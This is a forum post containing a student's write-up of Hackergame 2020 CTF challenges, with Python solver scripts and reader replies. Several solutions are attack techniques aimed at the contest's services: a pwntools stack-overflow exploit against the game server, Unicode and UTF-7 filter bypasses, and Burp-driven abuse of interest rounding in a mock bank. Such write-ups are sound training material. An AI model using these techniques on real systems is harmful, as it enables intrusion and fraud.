吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 14229|回复: 123
收起左侧

[CTF] Hackergame 2020 部分题目WP

  [复制链接]
yemeinanhai 发表于 2020-11-11 20:04
本帖最后由 yemeinanhai 于 2020-11-12 01:45 编辑

新人初来乍到,就分享一下最近打的Hackergame,要是在别的平台发现有相同的文章,请不要在意,那也是我发的,广撒网嘛~

Writeup

第一篇博客,写的不好请见谅~
作为一个刚接触CTF2个多月的大一萌新,感觉Hackergame的题目还是相当友好和好玩的,不像之前打的西湖论剑和N1CTF,除了签到,问卷啥也不会(>_<),真的直接打自闭~
尽管这周打的很艰难,毕竟学生党要上课...但最后的成绩自己还是比较满意的:
1.抢到了一道一血:一闪而过的flag
2.总分:1950 总排名:147(比赛刚开始    占据了第一名5分钟,巅峰时打到第87名,然后就开始往下掉了QAQ~)

由于部分flag为动态flag,仅供参考

题目网站:https://hack.lug.ustc.edu.cn/

签到

11:55准时坐在电脑前准备抢flag,11:59:55秒刷新一下,然后开始抢签到(嗯,萌新就是这样抢一血的)
进去条随便拖了两下点提交,发现url后多了?number=0.08459,然后脑子一抽,改成了1.0,痛失一血,呜呜
改成1得到flag:flag{hR6Ku81-HappyHacking2020-b13786f61b}

猫咪问答++

q1的话,google图片全部搜一遍,然后一不小心搜成13个....(答案12个)
q2的话,直接百度发现RFC1149协议,再查看这个协议得到答案:256
q3的话,去翻协会新闻推文,发现介绍的开源游戏名为Teeworlds,所以答案为9
q4的话,百度地图搜索中国科学技术大学西校区图书馆,街景数车位得知答案为9
q5的话,之前翻看Hackgame比赛首页底下相关链接里的第六届新闻稿里见过提交次数,所以打开看了眼,得到答案为17098
最后把不确定的q1上下调整一下,得到flag:flag{b4a31f2a_G00G1e_1s_y0ur_fr13nd_a3bf4c8dc9}

2048

F12查看js代码,发现大成功后执行如下代码:

  var url;
  if (won) {
    url = "/getflxg?my_favorite_fruit=" + ('b'+'a'+ +'a'+'a').toLowerCase();
  } else {
    url = "/getflxg?my_favorite_fruit=";
  }

从baaa可猜测出题人最喜欢的水果是banana(嗯?)
然后直接在url后加上/getflxg?my_favorite_fruit=banana得到flxg:flxg{8G6so5g-FLXG-9a0c684641}

一闪而过的 Flag

做完签到,没抢到一血,极其郁闷,扫了眼题目列表。一闪而过的 Flag难道是扔到命令行里防闪退??好,就你了。
然后如预期一般,得到flag:flag{Are_you_eyes1ght_g00D?_can_you_dIst1nguish_1iI?}
提交一看,一血!!!靠着第一个拿到150分,居然占据了第一名5分钟,嘻嘻。

从零开始的记账工具人

这题用了一种很草的解法。
百度全是数字转中文金额,好不容易发现方方格子Excel插件中有函数可以将中文金额转为数字
然后最坑的地方出现了,这函数有bug!!!像拾肆元之类的,”拾“开头的统统转换错误
大一萌新不会复杂脚本呀,那就在这基础上凑合着弄个修bug的脚本吧
百度现场学python处理Excel的库,经过无数次调试,终于成功了!
脚本如下,大佬轻喷,写的真的烂

# coding=gbk
import xlrd
import xlwt
workbook=xlrd.open_workbook('bills.xlsx')
Excel = xlwt.Workbook()
sheet = Excel.add_sheet('B')
sheet1=workbook.sheet_by_name('Sheet1')
ncols=sheet1.nrows
for i in range(1,ncols):
    if ((sheet1.cell(i,0).value)[0:1]) == '拾':
        if (sheet1.cell(i,0).value)[0:2] == '拾元':
            sum ='10.'
            for j in (sheet1.cell(i,0).value)[2::]:
                if j == '零':
                    sum = sum + '0'
                elif j == '壹':
                    sum = sum + '1'
                elif j == '贰':
                    sum = sum + '2'
                elif j == '叁':
                    sum = sum + '3'
                elif j == '肆':
                    sum = sum + '4'
                elif j == '伍':
                    sum = sum + '5'
                elif j == '陆':
                    sum = sum + '6'
                elif j == '柒':
                    sum = sum + '7'
                elif j == '捌':
                    sum = sum + '8'
                elif j == '玖':
                    sum = sum + '9'
        else:
            sum ='1'
            for j in (sheet1.cell(i,0).value)[1::]:
                if j == '零':
                    sum = sum + '0'
                elif j == '壹':
                    sum = sum + '1'
                elif j == '贰':
                    sum = sum + '2'
                elif j == '叁':
                    sum = sum + '3'
                elif j == '肆':
                    sum = sum + '4'
                elif j == '伍':
                    sum = sum + '5'
                elif j == '陆':
                    sum = sum + '6'
                elif j == '柒':
                    sum = sum + '7'
                elif j == '捌':
                    sum = sum + '8'
                elif j == '玖':
                    sum = sum + '9'
                elif j == '元':
                    sum =sum + '.'
        sheet.write(i,0,float(sum))
    else:
        sheet.write(i,0,sheet1.cell(i,2).value)
Excel.save('Excel.xls')

下面是经或或爷点拨修改后的版本:把python的字典忘了,我是憨憨

# coding=gbk
import xlrd
import xlwt
workbook=xlrd.open_workbook('bills.xlsx')
Excel = xlwt.Workbook()
sheet = Excel.add_sheet('B')
sheet1=workbook.sheet_by_name('Sheet1')
d = {'零':'0','壹':'1','贰':'2','叁':'3','肆':'4','伍':'5','陆':'6','柒':'7','捌':'8','玖':'9','元':'.','角':'','分':''}
ncols=sheet1.nrows
for i in range(1,ncols):
    if ((sheet1.cell(i,0).value)[0:1]) == '拾':
        if (sheet1.cell(i,0).value)[0:2] == '拾元':
            sum ='10.'
            for j in (sheet1.cell(i,0).value)[2::]:
                sum += d[j]
        else:
            sum ='1'
            for j in (sheet1.cell(i,0).value)[1::]:
                sum += d[j]
        sheet.write(i,0,float(sum))
    else:
        sheet.write(i,0,sheet1.cell(i,2).value)
Excel.save('Excel.xls')

把数量复制到Excel.xls中,简单的相乘求和得到flag:flag{18434.82}

超简单的世界模拟器

蝴蝶效应

百度可知生命游戏,lifewiki上找到太空船模型解决,得到flag:flag{D0_Y0U_l1k3_g4me_0f_l1fe?_a8e066dfae}

一石二鸟

3艘太空船乱凑,凑出第二问flag:flag{1s_th3_e55ence_0f_0ur_un1ver5e_ju5t_c0mputat1on?_5dd028665b}
具体怎么输入就不挂了,看官方WP吧~

自复读的复读机

反向复读

百度得知输出代码本身的代码有一个专有名称quine。之后找到一个题库网站,有各种quine,随便找一个修改一下
因为要逆向输出代码本身,于是加上[::-1],然后发现末尾多了\n,所以再加上end="",代码如下:

s = 's = {};print(s.format(repr(s))[::-1],end="")';print(s.format(repr(s))[::-1],end="")

得到flag:flag{Yes!_Y0U_h4v3_a_r3v3rs3d_Qu1ne_e604f5f9a5}

哈希复读

因为要输出代码本身的sha256哈希值,导入hashlib库,调用sha256函数,构造代码如下:

s = 's = {};import hashlib;print((hashlib.sha256((s.format(repr(s))).encode()).hexdigest()),end="")';import hashlib;print((hashlib.sha256((s.format(repr(s))).encode()).hexdigest()),end="")

得到flag:flag{W0W_Y0Ur_c0de_0utputs_1ts_0wn_sha256_893e58accc}

233 同学的字符串工具

字符串大写工具

有个网站(要挂梯子)上有各种unicode碰撞,找到一个连字,反正输进去解出来就是FL,俺也不知道为啥~,后面加上ag即可。
输入得到flag:flag{badunic0debadbad_6173b2b915}

编码转换工具

对同一个字符串,经过utf-7编码后有多种形式。
百度发现一个utf-7编码解码软件,输入flag后编码得到+AGYAbABhAGc-
输入得到flag:flag{please_visit_www.utf8everywhere.org_799d706f62}

233 同学的 Docker

换源安装好docker,然后我为了防止docker下载镜像太慢,弄了个阿里云docker镜像加速
然后打开题目网址,复制指令docker pull 8b8d3c8324c7/stringtool,下载镜像
用指令docker history (加上pull后得到的image ID)查看历史构建信息
发现flag.txt在倒数第二层被删除,所以只要回到倒数第三层,即可得到flag.txt
输入docker inspect (加上pull后得到的image ID),data里找到倒数第三层(WorkDir为倒数第一层,UpperDir为倒数第二层,LowerDir里第一个为倒数第三层,后面依次推)
然后用指令tree /var/lib/docker/overlay2/16befb58ffd365c567f04e8c6e85e1598855c8da8dc733a2b84de6dfe6fb0ae5/diff,列出目录下所有文件
发现flag.txt在code目录下,cat得到flag:flag{Docker_Layers!=PS_Layers_hhh}

来自一教的图片

根据题目提示傅里叶,百度找到python傅里叶变换脚本如下:

import numpy as np
import cv2 as cv
from matplotlib import pyplot as plt
img = cv.imread('1.bmp', 0)
f = np.fft.fft2(img)
logf = 20*np.log(np.abs(f))
plt.imshow(logf, 'gray')
plt.show()

运行得到flag:flag{Fxurier_xptics_is_fun}

生活在博弈树上

始终热爱大地

嗯,浙江的大一新生看到这题目,立马想到了那篇高考满分作文《生活在树上》
由于刚开始以为这题是General,然后代码看了半天,还去查了算法,只明白了一件事,正常下是不可能赢的...
然后发现存在gets,可以栈溢出,而判断胜利的条件为success=True,所以直接栈溢出覆盖success的值为1
正当我想吐槽general考察pwn时,回去一看发现他其实是binary分区,可恶呢
编写exp如下:

from pwn import *
p=remote("202.38.93.111",10141)
token='611:MEQCIBgsOHGKWe37yMSb/9ciPbOzYahxQWPaPGOZo3/KXSoVAiAYQEnr2h2cg9aISewpj8NlguUQ7lUrPFna4KDGL2fyOQ=='
p.recv()
p.sendline(token)
p.recv()
payload='(1,1)'+b'A'*143+p64(1)
p.sendline(payload)
p.interactive()

然后正常下棋,使平局,不然check函数会将success赋值为false,结束后得到flag:flag{easy_gamE_but_can_u_get_my_shel1}

升上天空

呜呜,pwn太难了,做不来QAQ,看官方WP吧

狗狗银行

这题想了好久没思路,然后翻了翻前两年的WP,试了试猫猫银行的溢出,用信用卡给储蓄卡转大额资金
发现净资产变多了!!然后抓包改数据,净资产直接突破2000,但是并没有flag
本以为是没有把钱还清造成的,然后还完发现净资产又回到了1000,再加上服务器疯狂崩溃,就卡住了
第二题官方更新了公告,被告知转大额资金导致的净资产增加是前端浮点型计算导致的,后端采用大整数精确计算
突然眼前一亮,既然是大整数,那就试试四舍五入,发现储蓄卡中有167元时利息为1元
略加计算可知,2张信用卡每张给储蓄卡转2009元,再将这4008元分配给24张储蓄卡,可以得到24元的利息,4018-4008剩下的钱正好吃饭,信用卡利息减10元,则可以白嫖到14元。
所以采用bp抓包爆破大量办卡,通过更改payload继续爆破进行办卡转钱操作,然后恰几天饭收利息即可到达2000元,得到flag:flag{W0W.So.R1ch.Much.Smart.52f2d579}

哎,肝了7天就做出来这么点题,还是太菜了,慢慢学吧~

官方WP传送门

免费评分

参与人数 40威望 +2 吾爱币 +133 热心值 +36 收起 理由
Jackieqian + 1 + 1 我很赞同!
Ivonzhang + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
oxide + 1 + 1 我很赞同!
BrainFlower + 1 + 1 用心讨论,共获提升!
onething + 1 + 1 热心回复!
hans2000 + 1 + 1 楼主还年轻以后会越来越强/
xbxbxbxb + 1 + 1 热心回复!
zhoumeto + 1 + 1 用心讨论,共获提升!
静叶流云 + 1 + 1 谢谢@Thanks!
fei8255 + 1 + 1 谢谢@Thanks!
pandypax + 1 + 1 热心回复!
SjZj + 1 + 1 用心讨论,共获提升!
劣酒先生 + 1 + 1 谢谢@Thanks!
r00t8 + 1 + 1 学习了,继续努力
dnldnl + 1 + 1 谢谢@Thanks!
dearyan + 1 + 1 我很赞同!
QGZZ + 1 + 1 热心回复!
yuemo520 + 1 + 1 谢谢@Thanks!
BayanStudio + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
Joshuaastray + 1 + 1 热心回复!
smile-kinging + 1 谢谢@Thanks!
azcolf + 1 + 1 用心讨论,共获提升!
ddwing + 1 我很赞同!
活到lao学到lao + 1 + 1 谢谢@Thanks!
笛墨萧 + 1 + 1 我很赞同!
Ninecr + 1 用心讨论,共获提升!
Poppy_i + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
cjcmxc + 1 热心回复!
开水烫青蛙 + 1 + 1 热心回复!
Kermond + 1 鼓励转贴优秀软件安全工具和文档!
miranda0131 + 1 + 1 用心讨论,共获提升!
poisonbcat + 1 + 1 谢谢@Thanks!
fengbolee + 1 + 1 用心讨论,共获提升!
shadowmjk + 1 用心讨论,共获提升!
牢记自己是菜 + 1 用心讨论,共获提升!
咸鱼。 + 1 我很赞同!
Poner + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
多喝咖啡 + 1 + 1 热心回复!
XS30 + 1 用心讨论,共获提升!
netspirit + 1 每次开放注册就会有一堆大佬....

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

netspirit 发表于 2020-11-12 07:22
我发现每次开放注册一段时间以后 如果发帖的是刚注册的 一般有很大几率是个大佬

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
曹大哥丶 + 1 + 1 我很赞同!

查看全部评分

Moecury 发表于 2020-11-12 07:19
同参赛选手表示·兹磁
顺带一提,2048那题在浏览器控制台可以直接运行代码
[JavaScript] 纯文本查看 复制代码
"/getflxg?my_favorite_fruit=" + ('b'+'a'+ +'a'+'a').toLowerCase();

得到正确的url:/getflxg?my_favorite_fruit=banana
yuchunlnog 发表于 2020-11-12 04:38
我去,你这简直是人才啊。我看了半天,大部分能看懂,但是思路跟不上了,反正让我想是想不出的。我感觉自己废了。
大侠在路上 发表于 2020-11-12 07:38
感谢楼主分享,这个题目我感觉我是废了。
nonamer 发表于 2020-11-12 09:06
这个厉害~太可怕了
wsyalh 发表于 2020-11-12 09:18
学习正需要这个   
huangxiaolin520 发表于 2020-11-12 09:24

学习中需要这个   
npfjcg 发表于 2020-11-12 10:10
学习一下,今年USTC的Hackergame还是一如既往的强
 楼主| yemeinanhai 发表于 2020-11-12 10:11
Moecury 发表于 2020-11-12 07:19
同参赛选手表示·兹磁
顺带一提,2048那题在浏览器控制台可以直接运行代码
[mw_shl_code=javascript,true ...

这样确实可以,感谢分享
感觉像这样的js题目,会有很多有趣的解法,魔改js,控制台输入之类的,都可以解出来
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-25 14:50

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表